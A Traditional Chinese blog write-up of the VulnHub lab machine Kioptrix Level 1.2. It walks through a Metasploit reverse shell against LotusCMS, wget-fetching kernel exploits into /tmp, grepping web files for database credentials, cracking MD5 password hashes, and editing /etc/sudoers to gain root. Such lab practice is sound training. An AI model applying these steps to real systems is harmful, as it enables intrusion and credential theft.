[資訊安全] VulnHub – Kioptrix Level 1.2 (#3) Write-up

Photo by João Silas on Unsplash

近期真得加緊腳步想辦法增進自己的基礎與實力,既上一篇「Kioptrix Level 1.1 (#2)」,之後應該會開始有更多此系列的文章出現,相較於打打 CTF,滲透測試的技能更來得較為全面,雖說 Kioptrix 的題目都較為老舊,但透過這樣子的練習,加減能夠增強自己對於一個新環境下的觀察敏銳度,並且建構出一套滲透的模式出來,例如如何蒐集資料、探勘、測試等…,之後可能也會寫寫有關 Hack The Box 之類的題目。

環境設定

靶機下載: Kioptrix Level 1.2 (#3)
環境佈署後一樣預設是「Bridged」,還是採用 NAT。

尋找靶機

透過 nmap 192.168.147.1/24 把靶機找出來,抓到位置為 192.168.147.128

檢查服務

經過簡單探勘後,是一個 LotusCMS 的服務,由於是開源的框架,有原始碼可以看,但由於 PHP 沒到那麼熟,花費長時間都沒看出個所以來。

Kioptrix Level 1.2 (#3) Page

隨後在網站上簡單的常識,初判應該不是 ELF,而雖然有登入頁面,但也似乎不是 SQL-Injection。

Kioptrix Level 1.2 (#3) LoginPage

接著倒是有個神奇的發現,在參數 ?page=index 上加上 ' 單引號,會出現錯誤,使用的 Function 是 eval()

然後無聊猜一下路徑發現 phpmyadmin 登入頁面,2.11.3deblubuntu1.3 似乎是版本號,可以拿來當參考。

Kioptrix Level 1.2 (#3) phpmyadmin

取得 Shell

在沒想到怎麼利用之前,就先想說不然丟丟看 Metasploit 看看有沒有,結果還真的有,使用 use multi/http/lcms_php_exec 接著查看設定 options,並且把設定丟一丟 SET RHOSTS <target>SET LHOST <Localhost>

接著下 exploitrun 指令,就會開始攻擊,並回傳的 Reverse Shell 回來,就像下圖這樣。

現在有 Shell,接著就是嘗試提權,但不知道為什麼,可以使用的指令相當的稀少,就跟日本製造的壓縮機一樣啊!!

可以使用 cat 讀檔,但涉及寫檔就沒有辦法了,此外透過觀察 /etc/passwd,可以發現還有另外兩個使用者 loneferretdreg,但沒有密碼無法登入。

實在想破頭,靈光一閃 help,於是才發現,原來現在所使用的是 stdapi,並且他有提供 shell 指令,藉此才開啟真正的 shell。

提權

隨後執行 whoami 指令後,發現使用者為 www-data,這下終於正常了,為了提權,需要準備的工作有以下三項。

  1. 取得 kernel 版本號
  2. 取得對應的提權工具
  3. 找到可以寫入的地方

取得 kernal 版本號

稍早已經在 stdapp 的狀態下已經有確認過版本號為 2.6.24,不過現在取得 shell 後,也可以使用 uname -alsb-release -a 來取得作業系統資訊。

取得對應的提權工具

這邊要感恩大神、讚嘆大神,透過 Google 搜尋,取得由 SecWiki 大神的整理 linux-kernel-exploits 與 Lucyoa 大大那邊整理的 kernel-exploits,只要稍微翻一下年份,或是找到涵蓋的 kernel 版本號,就可以取得想要的 Exploit 工具,關於該版本,可以從 uname -a 指令中取得。

找到可以寫入的地方

要找到可以寫入的地方,大腦直接浮現 /tmp,接著就是下載提權的 exploit,可以透過以下指令執行下載。

wget <File_URL> --no-check-certificate

接著再透過 gcc <source.c> -o <output> 來編譯,不幸的是…經過不斷的嘗試,以下的 exploit 提權工具全部都無法達成目的。

  1. https://github.com/lucyoa/kernel-exploits/tree/master/msr
  2. https://github.com/lucyoa/kernel-exploits/tree/master/american-sign-language
  3. https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/half-nelson/half-nelson3.c
  4. https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/video4linux/video4linux.c
  5. https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/can_bcm/can_bcm.c
  6. https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/vmsplice2/vmsplice2.c
  7. https://www.exploit-db.com/exploits/8556

phpmyadmin

還記的稍早有發現一個 phpmyadmin 的頁面,現在回過頭來對他展開嘗試,經過 Google 後,發現在 metasploit 上有 unix/webapp/phpadmin_config 這麼一個 exploit 可以用,但似乎也無法達成目的。

接著思緒轉向剛剛取的 shell 上,既然是網頁服務,也有資料庫,那是不是資料庫的連線參數會寫在 Web 的後端呢?

參考:How do I find all files containing specific text on Linux?

透過以下指尋找內容有關 mysql,且副檔名為 php 的檔案。

find . -name "*.php" | xargs grep -i "mysql"

一次就中獎,直接丟出了資料庫名稱、資料庫帳號、資料庫密碼,直接使用 phpmyadmin 頁面進行登入,隨後也發現可疑的表單,欄位有 idusernamepassword,並且已存放兩筆資料,但密碼有經過 Hash 過。

Kioptrix Level 1.2 (#3) Login phpmyadmin

直接丟上 Google 搜尋,得知是經過 md5 的方法 HASH,並且解出來後的對應如下。

loneferret::starwars
dreg::Mast3r

SSH

接著就不需要 Reverse Shell 了,直接透過 SSH 登入即可,首先使用 loneferret 帳戶登入後發現有個checksec.sh 的腳本。

Kioptrix Level 1.2 (#3) Login ssh.

簡單執行過後,確定就是很常用來檢查 ELF 有啟動那些保護機制的那個 checksec,似乎沒什麼可以利用的亮點。

接著使用 sudo su 嘗試取得 root 權限,得到的回應 Sorry, user loneferret is not allowed to execute '/bin/su' as root on Kioptrix3.,這就令我好奇的想去檢查 /etc/sudoers,可是沒有權限。

隨後在家目錄下使用 ls -lha 來檢視隱藏檔案,並檢視 .bash_history 發現有使用過 sudo ht 這個指令,但卻無法執行 sudo ht

另外檢視 CompanyPolicy.README 檔案,也發現他要我用 sudo ht,突然覺得應該先直視眼前的線索ˊ_>ˋ。

就由執行 sudo ht 得到的回應拿去 google 後,得到的解答是說,先執行個 export TERM=xterm 指令,然後再次執行。

一開始我以為 ht 是什麼指令,結果是個編輯器,而且完全不知道如何使用,一樣把問題丟給 google,得到的一個看起來很像官方網站的說明,才知道他上面的數字指的是 F1、F2...F10

接著套路就出來了,使用 F3 去開 /etc/sudoers,並且打開 su 的權限(也可以直接加上 /bin/bash)。

接著就是下 sudo su 指令,並且成功取得 root 了。

Kioptrix Level 1.2 (#3) Get Root.

檢討

為了解 Kioptrix Level 1.2 (#3) 這題,實在是花了不少時間,對於滲透的經驗不足,大多數時間不是往錯誤的方向,就是沒有想法,對於一開始 eval() 的利用,其實有很多作法(事後搜尋),甚至可以不用透過 metasploit 就可以直接拿到 Reverse Shell ,藉此可以省下許多時間。

隨後嘗試使用已知弱點 kernel-exploit 來題權,試了幾十款,早應該要認為考點不是在此了,卻還執迷不悟。


發佈留言

這個網站採用 Akismet 服務減少垃圾留言。進一步瞭解 Akismet 如何處理網站訪客的留言資料